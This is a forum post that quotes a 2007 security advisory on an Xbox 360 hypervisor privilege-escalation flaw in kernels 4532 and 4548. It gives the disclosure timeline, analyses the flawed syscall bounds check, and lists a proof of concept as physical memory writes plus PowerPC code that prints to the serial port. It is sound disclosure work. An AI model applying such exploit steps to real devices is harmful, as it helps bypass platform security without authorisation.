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wetelectric
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This: "Vulnerability allows

an attacker with physical access to an Xbox 360 to run arbitrary code

such as alternative operating systems with full privileges and full

hardware access." would have been nice... :twisted:

Security Advisory

Xbox 360 Hypervisor Privilege Escalation Vulnerability

Release Date:

February 28, 2007

Author:

Anonymous Hacker <anohackerA_TgmailD*O_Tcom>

Timeline:

Oct 31, 2006 - release of 4532 kernel, which is the first version

containing the bug

Nov 16, 2006 - proof of concept completed; unsigned code running in

hypervisor context

Nov 30, 2006 - release of 4548 kernel, bug still not fixed

Dec 15, 2006 - first attempt to contact vendor to report bug

Dec 30, 2006 - public demonstration

Jan 03, 2007 - vendor contact established, full details disclosed

Jan 09, 2007 - vendor releases patch

Feb 28, 2007 - full public release

Patch Development Time (In Days): 6

Severity:

Critical (Unsigned Code Execution in Hypervisor Mode)

Vendor:

Microsoft

Systems Affected:

All Xbox 360 systems with a kernel version of 4532 (released Oct 31,

2006) and 4548 (released Nov 30, 2006). Versions prior to 4532 are not

affected. Bug was fixed in version 4552 (released Jan 09, 2007 - not a

Patch Tuesday).

Overview:

We have discovered a vulnerability in the Xbox 360 hypervisor that allows

privilege escalation into hypervisor mode. Together with a method to

inject data into non-privileged memory areas, this vulnerability allows

an attacker with physical access to an Xbox 360 to run arbitrary code

such as alternative operating systems with full privileges and full

hardware access.

Technical details:

The Xbox 360 security system is designed around a hypervisor concept. All

games and other applications, which must be cryptographically signed with

Microsoft's private key, run in non-privileged mode, while only a small

hypervisor runs in privileged ("hypervisor") mode. The hypervisor

controls access to memory and provides encryption and decryption

services.

The policy implemented in the hypervisor forces all executable code to be

read-only and encrypted. Therefore, unprivileged code cannot change

executable code. A physical memory attack could modify code; however,

code memory is encrypted with a unique per-session key, making meaningful

modification of code memory in a broadly distributable fashion difficult.

In addition, the stack and heap are always marked as non-executable, and

therefore data loaded there can never be jumped to by unpriviledged code.

Unprivileged code interacts with the hypervisor via the "sc" ("syscall")

instruction, which causes the machine to enter hypervisor mode. The

vulnerability is a result of incomplete checking of the parameters passed

to the syscall dispatcher, as illustrated below.

Preconditions (registers set by unpriviledged code):

%r0 syscall no.

%r3-%r12 syscall arguments

Priviledged code:

13D8: cmplwi %r0, 0x61

13DC: bge illegal_syscall

...

13F0: rldicr %r1, %r0, 2, 61

13F4: lwz %r4, syscall_table(%r1)

13F8: mtlr %r4

...

1414: blrl

The problem is that the "cmplwi" instruction compares only the lower 32

bits of the given syscall number; the upper 32 bits are ignored. The

"rldicr" instruction, however, operates on the complete 64 bit register

value.

The syscall handler address is fetched from the syscall handler offset

table at 0x00000000.00001F68+%r0*4. Setting the upper 32 bits of %r0 to

something other than 0 will change the upper 30 bits of the address used

for the syscall handler offset table lookup. We will now explain how the

Xbox 360 security architecture interprets and aliases these upper bits.

When processing the syscall, the processor is running in "hypervisor real

mode", with the MMU switched off. However, when accessing memory

locations with the MSB cleared, an additional offset, the Hypervisor Real

Mode Offset (HRMO), will be applied to all memory addresses.

Due to the Xbox 360 security architecture, main memory is aliased to

different addresses with different properties, in order to conditionally

enable the security features (encryption and hashing). The hypervisor

sets the value of the HRMO special register so that the hypervisor code,

including the syscall jump table, resides in memory which is hashed as

well as encrypted, even when using zero-based addresses.

When accessing memory locations with the most significant address bit

set, the HRMOR setting is not applied. Due to the bug in the "cmplwi"

instruction, setting the corresponding bits in %r0 on syscall entry

allows setting the MSB, thereby overriding the HRMOR setting and tricking

the address lookup of the syscall handler to fetch from memory without

any security features.

With the syscall handler offset table aliased to unencrypted memory, the

syscall handler table can now be modified to direct the hypervisor to

jump to any location in code space that is designated for the hypervisor.

In the proof of concept implementation, a jump to existing hypervisor

code is used with a pre-loaded register value as a trampoline to force

the ultimate execution path to an arbitrary, unencrypted and executable

location in memory.

Proof of Concept Details:

As it is not possible to directly overwrite even non-priviledged code,

existing code needs to be tricked into calling the hypervisor syscall

with the desired register set. This can be done by setting up a stack

frame and forcing a context switch to this stack frame. The bug can be

exploited using the following series of physical memory writes:

Setup context switch to stack @80130AF0:

00130390: 00000000 00000000 00000000 FDFFD7FF MSR mask

00130360: 00000000 80130AF0 00000000 00000000 New stack pointer

Setup stack:

00130BD0: 00000000 80070190 00000000 00000000 NIP to context restore

00130C90: 00000000 00000000 80070228 80070228 NIP, LR after context

restore point to syscall

instruction in kernel

00130CA0: 00000000 00009030 00000000 00000000 MSR

00130B40: 20000000 00000046 00000000 80130af0 r0 = syscall nr

r1 = stack

00130B60: 80000000 address1 r4 = address to jump to

00002080: 00000350 points to mtctr %r4,

bctr in hypervisor code

Code to be executed should be placed at "address1", which can be an

arbitrary unused memory address.

Example code to output '!' to the on board serial port:

1:

li %r3, '!'

bl putc

b 1b

putc:

lis %r4, 0x8000

ori %r4, %r4, 0x200

rldicr %r4, %r4, 32, 31

oris %r4, %r4, 0xea00

slwi %r3, %r3, 24

stw %r3, 0x1014(%r4)

1:

lwz %r3, 0x1018(%r4)

rlwinm. %r3, %r3, 0, 6, 6

beq 1b

blr

Vendor Status:

Vendor was notified anonymously, and after cordial discussions a patch

was promptly released.

Recommendation:

Remove R6T3.

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